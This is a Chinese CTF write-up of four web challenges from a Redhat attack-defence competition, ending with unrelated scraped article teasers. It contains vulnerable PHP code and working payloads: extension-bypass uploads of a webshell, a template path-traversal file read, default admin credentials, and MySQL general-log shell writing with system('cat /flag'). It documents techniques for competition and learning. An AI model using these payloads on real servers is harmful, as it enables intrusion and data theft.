Redhat 线下赛 WEB WP

赛制

给每个参赛队伍所有题目的gamebox,参赛队伍在开赛时就能获取到所有题目的源码,可以选择先防御后攻击或先攻击后防御,只要拿到gamebox上的flag,机器人就会自动帮你攻击场上所有未防御选手的gamebox从而获取到分数。

粤湾基金

漏洞点:

  • 前台任意文件上传
  • 后台任意文件上传
  • 后台弱口令

前台任意文件上传 #1

漏洞文件:/application/home/controller/Test.php

漏洞方法:dlfile()

public function dlfile($file_url, $save_to)
{
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_POST, 0);
        curl_setopt($ch,CURLOPT_URL,$file_url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $file_content = curl_exec($ch);
        curl_close($ch);
        $downloaded_file = fopen($save_to, ‘w‘);
        fwrite($downloaded_file, $file_content);
        fclose($downloaded_file);
}

函数功能:

使用curl获取页面信息,并将其存储到本地文件中。

此处的file_url以及save_to均可控,所以可以直接getshell或者获取flag,主办方甚至贴心的给了利用方法:

前台任意文件上传 #2

漏洞文件:application/home/controller/Uploadify.php

漏洞方法:preview()

public function preview(){
        // 此页面用来协助 IE6/7 预览图片,因为 IE 6/7 不支持 base64
        $DIR = ‘preview‘;
        // Create target dir
        if (!file_exists($DIR)) {
            @mkdir($DIR);
        }

        $cleanupTargetDir = true; // Remove old files
        $maxFileAge = 5 * 3600; // Temp file age in seconds

        if ($cleanupTargetDir) {
            if (!is_dir($DIR) || !$dir = opendir($DIR)) {
                die(‘{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "Failed to open temp directory."}, "id" : "id"}‘);
            }

            while (($file = readdir($dir)) !== false) {
                $tmpfilePath = $DIR . DIRECTORY_SEPARATOR . $file;
                // Remove temp file if it is older than the max age and is not the current file
                if (@filemtime($tmpfilePath) < time() - $maxFileAge) {
                    @unlink($tmpfilePath);
                }
            }
            closedir($dir);
        }

        $src = file_get_contents(‘php://input‘);
        if (preg_match("#^data:image/(\w+);base64,(.*)$#", $src, $matches)) {
            $previewUrl = sprintf(
                    "%s://%s%s",
                    isset($_SERVER[‘HTTPS‘]) && $_SERVER[‘HTTPS‘] != ‘off‘ ? ‘https‘ : ‘http‘,
                    $_SERVER[‘HTTP_HOST‘],$_SERVER[‘REQUEST_URI‘]
            );
            $previewUrl = str_replace("preview.php", "", $previewUrl);
            $base64 = $matches[2];
            $type = $matches[1];
            if ($type === ‘jpeg‘) {
                $type = ‘jpg‘;
            }

            if(strtolower($type)==‘php‘){
                die(‘hacked!‘);
            }

            $filename = md5($base64).".$type";
            $filePath = $DIR.DIRECTORY_SEPARATOR.$filename;

            if (file_exists($filePath)) {
                die(‘{"jsonrpc" : "2.0", "result" : "‘.$previewUrl.‘preview/‘.$filename.‘", "id" : "id"}‘);
            } else {
                $data = base64_decode($base64);
                file_put_contents($filePath, $data);
                die(‘{"jsonrpc" : "2.0", "result" : "‘.$previewUrl.‘preview/‘.$filename.‘", "id" : "id"}‘);
            }
        } else {
            die(‘{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "un recoginized source"}}‘);
        }
    }

函数功能:

提取正则中的base64编码的图片信息以及图片后缀,转存图片到本地。

漏洞点:

preg_match("#^data:image/(\w+);base64,(.*)$#", $src, $matches)
$base64 = $matches[2];
$type = $matches[1];
if ($type === ‘jpeg‘) {
    $type = ‘jpg‘;
}
if(strtolower($type)==‘php‘){
       die(‘hacked!‘);
}
$filename = md5($base64).".$type";
$filePath = $DIR.DIRECTORY_SEPARATOR.$filename;

if (file_exists($filePath)) {
    die(‘{"jsonrpc" : "2.0", "result" : "‘.$previewUrl.‘preview/‘.$filename.‘", "id" : "id"}‘);
} else {
    $data = base64_decode($base64);
    file_put_contents($filePath, $data);
    die(‘{"jsonrpc" : "2.0", "result" : "‘.$previewUrl.‘preview/‘.$filename.‘", "id" : "id"}‘);
}

这里的type以及base64均为我们可控的,而这里只是简单的限制了上传的后缀不能为php,我们可以尝试上传php4、php5、phtml、.user.ini、.htaccess来绕过。

后台弱口令

user:admin
pass:admin123

后台任意文件上传

漏洞文件:application/admin/controller/Uploadify.php

漏洞函数:preview()

public function preview(){

        // 此页面用来协助 IE6/7 预览图片,因为 IE 6/7 不支持 base64
        $DIR = ‘preview‘;
        // Create target dir
        if (!file_exists($DIR)) {
            @mkdir($DIR);
        }

        $cleanupTargetDir = true; // Remove old files
        $maxFileAge = 5 * 3600; // Temp file age in seconds

        if ($cleanupTargetDir) {
            if (!is_dir($DIR) || !$dir = opendir($DIR)) {
                die(‘{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "Failed to open temp directory."}, "id" : "id"}‘);
            }

            while (($file = readdir($dir)) !== false) {
                $tmpfilePath = $DIR . DIRECTORY_SEPARATOR . $file;
                // Remove temp file if it is older than the max age and is not the current file
                if (@filemtime($tmpfilePath) < time() - $maxFileAge) {
                    @unlink($tmpfilePath);
                }
            }
            closedir($dir);
        }

        $src = file_get_contents(‘php://input‘);
        if (preg_match("#^data:image/(\w+);base64,(.*)$#", $src, $matches)) {
            $previewUrl = sprintf(
                "%s://%s%s",
                isset($_SERVER[‘HTTPS‘]) && $_SERVER[‘HTTPS‘] != ‘off‘ ? ‘https‘ : ‘http‘,
                $_SERVER[‘HTTP_HOST‘],$_SERVER[‘REQUEST_URI‘]
            );
            $previewUrl = str_replace("preview.php", "", $previewUrl);
            $base64 = $matches[2];
            $type = $matches[1];
            if ($type === ‘jpeg‘) {
                $type = ‘jpg‘;
            }

            $filename = md5($base64).".$type";
            $filePath = $DIR.DIRECTORY_SEPARATOR.$filename;

            if (file_exists($filePath)) {
                die(‘{"jsonrpc" : "2.0", "result" : "‘.$previewUrl.‘preview/‘.$filename.‘", "id" : "id"}‘);
            } else {
                $data = base64_decode($base64);
                file_put_contents($filePath, $data);
                die(‘{"jsonrpc" : "2.0", "result" : "‘.$previewUrl.‘preview/‘.$filename.‘", "id" : "id"}‘);
            }
        } else {
            die(‘{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "un recoginized source"}}‘);
        }
    }
}

和前台的一样,base64和type都可以控制,而且这里没有任何黑名单,可以直接控制后缀为php上传一个马。

格式:

data:image/php;base64,baseencode(yijuhua)

粤湾期货

漏洞点:

  • 重装系统
  • 后台任意文件上传

重装系统

漏洞文件:install.php

install.php中没有判断是否存在锁文件,导致可以任意重装。

这里不能用配置文件来getshell,因为用了addslashes函数来转义了引号,但是这里可以用来重置后台密码。

后台任意文件上传

在后台-系统设置中,可以设置允许上传的后缀,php被过滤了,可以直接用phtml来getshell,也可以用.user.ini来getshell。

粤湾投资

漏洞点:

  • 日志泄漏
  • 前台任意文件读取

日志泄漏

漏洞文件:Apps/Runtime/Logs/Home/19_11_20.log

打开进去可以直接看到主办方直接测试用的payload:

直接用这个payload就能读到flag。

前台任意文件读取

漏洞文件:Apps/Home/Controller/JqueryController.class.php

漏洞函数:index()

public function index(){
        if(!isset($_GET[‘template_file‘])) {

            $this->seoData = array(‘title‘ => ‘Jquery插件‘, ‘keywords‘ => ‘Jquery插件‘, ‘description‘ => ‘Jquery插件‘);

            $this->display();
        }
        else{
            $this->display($_GET[‘template_file‘]);
        }
    }
}

直接将我们传递到template_file代入进display方法中,跟进:

protected function display($templateFile=‘‘,$charset=‘‘,$contentType=‘‘,$content=‘‘,$prefix=‘‘) {
    $this->view->display($templateFile,$charset,$contentType,$content,$prefix);
}

将$templateFile代入了view-display()中,跟进:

public function display($templateFile=‘‘,$charset=‘‘,$contentType=‘‘,$content=‘‘,$prefix=‘‘) {
    G(‘viewStartTime‘);
    // 视图开始标签
    Hook::listen(‘view_begin‘,$templateFile);
    // 解析并获取模板内容
    $content = $this->fetch($templateFile,$content,$prefix);
    // 输出模板内容
    $this->render($content,$charset,$contentType);
    // 视图结束标签
    Hook::listen(‘view_end‘);
}

这里除了$templateFile,其余传递参数都为空,这里将templateFile传递进了fetch()方法,跟进:

于此处输出了模板文件:

payload:

index.php/Jquery/?template_file=/flag

粤湾租赁

漏洞点:

  • 后台弱口令
  • 后台任意SQL语句执行Getshell

后台弱口令

user:admin
pass:admin123

后台任意SQL语句执行Getshell

过滤了INTO OUTFILE不能直接写shell,使用写日志的方式进行写shell。

首先查看日志:

SHOW VARIABLES LIKE ‘general%‘

再设置日志文件并打开日志记录:

set global general_log = "ON";
set global general_log_file=‘/var/www/html/xxx.php‘;

这里卡了一会,直接写到一个不存在的文件里会500,所以只能尝试写日志进已存在的文件。

获取flag:

select ‘<?php system("cat /flag");‘

进入日志页面后全局搜flag即可获取flag。

还有一个比较简单的方法:

select load_file("/flag");

当时在比赛的时候没想到,该payload没测试过,不知道是否被过滤。

原文地址:https://www.cnblogs.com/nul1/p/11993920.html

时间: 2024-08-30 16:29:47

Redhat 线下赛 WEB WP的相关文章

ogeek线下赛web分析1-python-web

原文地址:https://www.cnblogs.com/wfzWebSecuity/p/11567207.html

第二届“强网杯”全国网络安全挑战赛来袭——线上赛

为全面贯彻习主席关于网络安全和信息化工作的一系列重要指示精神,延揽储备锻炼网信领域优秀人才,提升国家网络空间安全能力水平,举办第二届"强网杯"全国网络安全挑战赛.该比赛是面向高等院校和国内信息安全企业的一次国家级网络安全赛事,旨在通过激烈的网络竞赛对抗,培养和提高国家网络安全保障能力和水平,发现网络安全领域优秀人才,提升全民网络空间的安全意识和能力水平. 比赛链接 官方比赛链接地址:https://www.ichunqiu.com/2018qwb?from=bkyl 比赛时间 线上赛报

2019CISCN华南线下两道web复现

原帖地址 : https://xz.aliyun.com/t/5558 2019CISCN华南线下的两个简单 web 部分题目下载地址,有的不完整 : 点我点我 web 1 考点 : 无参函数的 RCE 在注释中发现了 forgetpassword.php 页面 打开 forgetpassword.php,要求输入一个用户名,尝试用户名爆破,结果为 admin123 import requests url = "http://127.0.0.1/ciscn/web1/useri.php"

CentOS 6.2下搭建Web服务器

1Centos 6.2下搭建web服务器 如今,Linux在Web应用越来越广,许多企业都采用Linux来搭建Web服务器,这样即节省了购买正版软件的费用,而且还能够提高服务器的安全性. 之前我们介绍了如何在openSUSE 12.1下搭建Web服务器,里面详细介绍了在openSUSE 12.1下搭建服务器的方法,其实除了Red Hat和openSUSE,CentOS也是人们经常用到的搭建Web服务器的Linux版本. CentOS是企业Linux发行版领头羊Red Hat Enterprise

铁三线下赛-企业赛(cve-2017-11882)总结

这场比赛,可以说很可惜.但是还好,在比赛结束回学校途中,认识了几位大佬,那这场比赛还是值得的,就当是经验积累吧. 开始正文: 企业赛,也就是web题,但是和线上的不一样,这里打的都是cve漏洞,更刺激,更真实,也是最老老实实的,不玩套路,会就是会,不会就学习 这场比赛允许上网,那么这就是考经验了. 企业赛,发的纸条上面只有个ip,什么端口都没有给出来,然后登陆进去,就是一个上传的界面,(这里不能截图,因为线下的都是在本地的) 内容是,请上传工作文档,会有工作人员检查.然后就是上传框,下面是(只能

Ubuntu 12.04下搭建Web服务器 (MySQL+PHP+Apache)(转)

看了网上很多关于用linux操作系统搭建网站服务器的教程,于是我自己也测试了很多,但今天所测试的 Ubuntu 12.04下搭建Web网站服务器 (MySQL+PHP+Apache环境),感觉这个适合新手.所以这里就跟大家分享下.其实这个网上也有教程的,但我这里算是优化前辈们的教程吧,因为 我当时按照他们的操作时卡了几次,因为他们的有的地方没讲清楚. Ubuntu 12.04(代号Precise Pangolin)是一个LTS长期支持版本,已如约正式发布.Ubuntu 12.04是第16代Ubu

ABP(现代ASP.NET样板开发框架)主题线下交流会(上海)开始报名了!

点这里进入ABP系列文章总目录 ABP主题线下交流会(上海)开始报名了 ABP是“ASP.NET Boilerplate Project (ASP.NET样板项目)”的简称.它是采用最佳实践和流行技术开发现代WEB应用程序的新起点. 对ABP还不够了解的朋友,可以先看看<基于DDD的现代ASP.NET开发框架--ABP系列之1.ABP总体介绍> 活动简介 大家期待已久的ABP线下交流活动马上就要开始了,请大家确认一下时间和地点,请确保能来参加再报名. 本次交流会的目的: 互相学习ABP相关经验

四川大学线下编程比赛第三题:书本转移

好久没写过日志,也怪最近事情真的特别多,最近参加关于编程方面就是CSDN高校俱乐部举办的线下编程塞,说起这次编程赛,总共三道题,题目都可以在csdn高校俱乐部上看到,参加比赛的时候有点小紧张,第三题涉及到队列,当时的机器没有代码提示,坑...也怨自己平时写代码用惯了代码提示,很多stl的方法都是隐隐约约知道,但是具体的不知道,导致第三题没有做出来,遗憾哈!下面贴一下今天写的第三题的代码 题目 四川大学线下编程比赛第三题:书本转移 题目详情: 小强有 3 个箱子 A,B,C 用来装书,所有的书(一

Dreamweaver8下定义WEB功能页面介绍

dreamweaver8下定义WEB功能页面介绍 说到dreamweaver8,相信大家都比我熟悉,也许有人说dreamweaver8是一个开发工具,那开发工具多了,我自己是这么认为的,dreamweaver8是专业的网页开发工具:由于自己是做运维的,所以在开发的角度我算是一个绝对的菜鸟,可以说是一窍不通,之前就没做过开发先关的东西,现在才开始慢慢接触,所以每天晚上回家看看java.html.jsp相关的文档学习,同时,我们大家都知道一般正常的页面程序文件通过新建超级文本文件来修改扩展名来定义文